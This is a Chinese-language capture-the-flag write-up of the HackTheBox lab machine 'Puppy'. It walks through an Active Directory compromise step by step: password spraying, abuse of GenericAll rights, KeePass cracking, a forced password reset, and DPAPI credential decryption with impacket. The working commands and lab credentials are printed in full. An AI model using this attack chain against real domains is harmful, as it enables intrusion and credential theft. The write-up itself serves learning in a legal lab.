Season8 - Puppy

https://app.hackthebox.com/machines/661 | Medium

Machine Information：As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

账户：levi.james:KingofAkron2025!

前期踩点

➜  Puppy nmap -sT -min-rate 10000 -p- 10.10.11.70         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-18 08:09 EDT
Nmap scan report for puppy.htb (10.10.11.70)
Host is up (0.18s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
636/tcp   open  ldapssl
2049/tcp  open  nfs
3260/tcp  open  iscsi
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49670/tcp open  unknown
49685/tcp open  unknown
61851/tcp open  unknown
61886/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 95.27 seconds

没有 Web 端口

➜  Puppy nmap -sT -A -T4 -O -p 53,88,111,445,2049,3260 10.10.11.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-18 08:15 EDT
Nmap scan report for puppy.htb (10.10.11.70)
Host is up (0.22s latency).

Bug in iscsi-info: no string output.
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 18:54:52Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
445/tcp  open  microsoft-ds?
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-05-18T18:57:23
|_  start_date: N/A
|_clock-skew: 6h39m12s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   254.01 ms 10.10.16.1
2   254.12 ms puppy.htb (10.10.11.70)

信息收集

因为我们有凭据所以直接去进行信息收集

SMB

➜  Puppy  crackmapexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

Dump 用户信息

➜  Puppy crackmapexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' -d PUPPY.HTB --users
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.11.70     445    DC               [+] Enumerated domain user(s)
SMB         10.10.11.70     445    DC               PUPPY.HTB\steph.cooper_adm               badpwdcount: 5 desc: 
SMB         10.10.11.70     445    DC               PUPPY.HTB\steph.cooper                   badpwdcount: 5 desc: 
SMB         10.10.11.70     445    DC               PUPPY.HTB\jamie.williams                 badpwdcount: 5 desc: 
SMB         10.10.11.70     445    DC               PUPPY.HTB\adam.silver                    badpwdcount: 0 desc: 
SMB         10.10.11.70     445    DC               PUPPY.HTB\ant.edwards                    badpwdcount: 0 desc: 
SMB         10.10.11.70     445    DC               PUPPY.HTB\levi.james                     badpwdcount: 5 desc: 
SMB         10.10.11.70     445    DC               PUPPY.HTB\krbtgt                         badpwdcount: 0 desc: Key Distribution Center Service Account
SMB         10.10.11.70     445    DC               PUPPY.HTB\Guest                          badpwdcount: 0 desc: Built-in account for guest access to the computer/domain
SMB         10.10.11.70     445    DC               PUPPY.HTB\Administrator                  badpwdcount: 0 desc: Built-in account for administering the computer/domain

SMBclient 查看共享文件夹

➜  Puppy smbclient -L 10.10.11.70 -U puppy.htb/levi.james%KingofAkron2025!

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk      DEV-SHARE for PUPPY-DEVS
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.70 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

➜  Puppy smbclient //10.10.11.70/SYSVOL -U puppy.htb/levi.james%KingofAkron2025!
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 21 01:33:44 2025
  ..                                  D        0  Wed Feb 19 06:44:57 2025
  lvRxjnmZBA                          D        0  Fri Mar 21 01:33:44 2025
  PUPPY.HTB                          Dr        0  Wed Feb 19 06:44:57 2025
  UltFsQYRGg.txt                      A        0  Fri Mar 21 01:33:44 2025

                5080575 blocks of size 4096. 1544518 blocks available

将上面获取到的用户信息将用户名截取下来

➜  Puppy cat data.txt | awk '{print $5}' | awk -F'\' '{print $2}'
steph.cooper_adm
steph.cooper
jamie.williams
adam.silver
ant.edwards
levi.james
krbtgt
Guest
Administrator

使用 crackmapexec 进行密码喷洒，结果依旧是只有 levi.james 用户

➜  Puppy crackmapexec smb 10.10.11.70 -u user.txt -p 'KingofAkron2025!' -d PUPPY.HTB             
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\steph.cooper_adm:KingofAkron2025! STATUS_LOGON_FAILURE 
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\steph.cooper:KingofAkron2025! STATUS_LOGON_FAILURE 
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\jamie.williams:KingofAkron2025! STATUS_LOGON_FAILURE 
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:KingofAkron2025! STATUS_LOGON_FAILURE 
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\ant.edwards:KingofAkron2025! STATUS_LOGON_FAILURE 
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

HoundBlood

使用 bloodhound-python 来获取数据

➜  Puppy bloodhound-python -u 'levi.james' -p 'KingofAkron2025!' -d 'puppy.htb' -ns 10.10.11.70 --zip -c All -dc 'DC.PUPPY.HTB'
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 31S
INFO: Compressing output into 20250518084406_bloodhound.zip

用户 levi.james 的信息

所属组以及拥有的修改权限

用户 levi.james 对 DEVELOPERS 组拥有 GenericAll 权限，并且有三个用户属于DEVELOPERS 组

其中下一个目标用户可能就是 ANT.EDWARDS 或者 ADAM.SILVER

ANT.EDWARDS 可以控制 ADAM.SILVER，ADAM.SILVER 是远程组成员

我们给 levi.james 添加到 DEVELPOERS 组内

➜  Puppy bloodyAD -d puppy.htb -u levi.james -p KingofAkron2025! --dc-ip 10.10.11.70 add groupMember DEVELOPERS levi.james
[+] levi.james added to DEVELOPERS

然后上面SMB共享文件夹中的DEV加入组后再查看一次，可以访问了（未加入组之前是空的），将所有文件都拉取下来

➜  Puppy smbclient //10.10.11.70/DEV -U puppy.htb/levi.james%KingofAkron2025!
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Mar 23 03:07:57 2025
  ..                                  D        0  Sat Mar  8 11:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 03:09:12 2025
  Projects                            D        0  Sat Mar  8 11:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 22:25:46 2025

                5080575 blocks of size 4096. 1543255 blocks available
smb: \> mget *
Get file KeePassXC-2.7.9-Win64.msi? yes
getting file \KeePassXC-2.7.9-Win64.msi of size 34394112 as KeePassXC-2.7.9-Win64.msi (1339.5 KiloBytes/sec) (average 1339.5 KiloBytes/sec)
Get file recovery.kdbx? yes

kdbx 破解

其中 kdbx 是 KeePass 的文件，需要密码才能解开

这里使用项目：https://github.com/r3nt0n/keepass4brute

使用之前需要安装依赖：

sudo apt install keepassxc

得到密码 livepool

解密后得到五个用户的账号密码

ADAM.SILVER:ADAM.SILVER:HJKL2025!
ANTONY C.EDWARDS:ANT.EDWARDS:Antman2025!
JAMIE WILLIAMSON:JAMIE.WILLIAMSON:JamieLove2025!
SAMUEL BLAKE:ILY2025!
STEVE TUCKER:Steve2025!

To Adam.Silver

这里使用 ADAM.SILVER 的用户凭据却无法进行登录

因为 ANT.EDWARDS 对其拥有 GenericALL 权限，尝试修改其密码再进行登录

➜  Puppy ntpdate -s 10.10.11.70 | bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.10.11.70 set password adam.silver Passwords123!
[+] Password changed successfully!

再使用 winrm 进行登录

读取 user.txt

*Evil-WinRM* PS C:\Users\adam.silver\Desktop> cat user.txt
bc5937245feb2b2c7101f1a54c4ecf4a

寻找一下信息

backups 目录下有一个压缩包

*Evil-WinRM* PS C:\Backups> ls

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
                                        
Info: Download successful!

解压后能找到一个文件 nms-auth-config.xml.bak

<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
......

To Steph.cooper_adm

里面是 steph.cooper 的密码，使用HoundBlood查看一下其信息

注意到 steph.cooper 属于 PUPPY ADMINS

并且 steph.cooper 也是属于远程管理组的

使用 winrm 进行登录

上传 Winpeas 进行信息收集

*Evil-WinRM* PS C:\Users\steph.cooper\documents> ./winPEAS.exe > result.txt
*Evil-WinRM* PS C:\Users\steph.cooper\documents> download result.txt
                                        
Info: Downloading C:\Users\steph.cooper\documents\result.txt to result.txt                                       
Info: Download successful!

DPAPI

经过提示说要使用 DPAPI ，并且在 Winpeas 中也能扫描到

首先将 DPAPI下载下来

再下载受 DPAPI 保护的数据的隐藏文件

获取解密密钥

➜  Puppy dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

使用解密密钥解密搜保护的文件

➜  Puppy dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

得到 steph.cooper_adm 的密码 FivethChipOnItsWay2025!

使用 evil-winrm 登录即可

➜  Puppy evil-winrm -i 10.10.11.70 -u steph.cooper_adm -p FivethChipOnItsWay2025!
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>

root.txt

*Evil-WinRM* PS C:\Users\administrator\desktop> cat root.txt
1e994f1731e5342bb080a9b7eea4f1a6

总结

第一次打没有 Web 的靶机，涉及到的新知识点也很少。这还是第一次是使用DPAPI ，这次也将其作了解了。

HackTheBox - Season8 - Puppy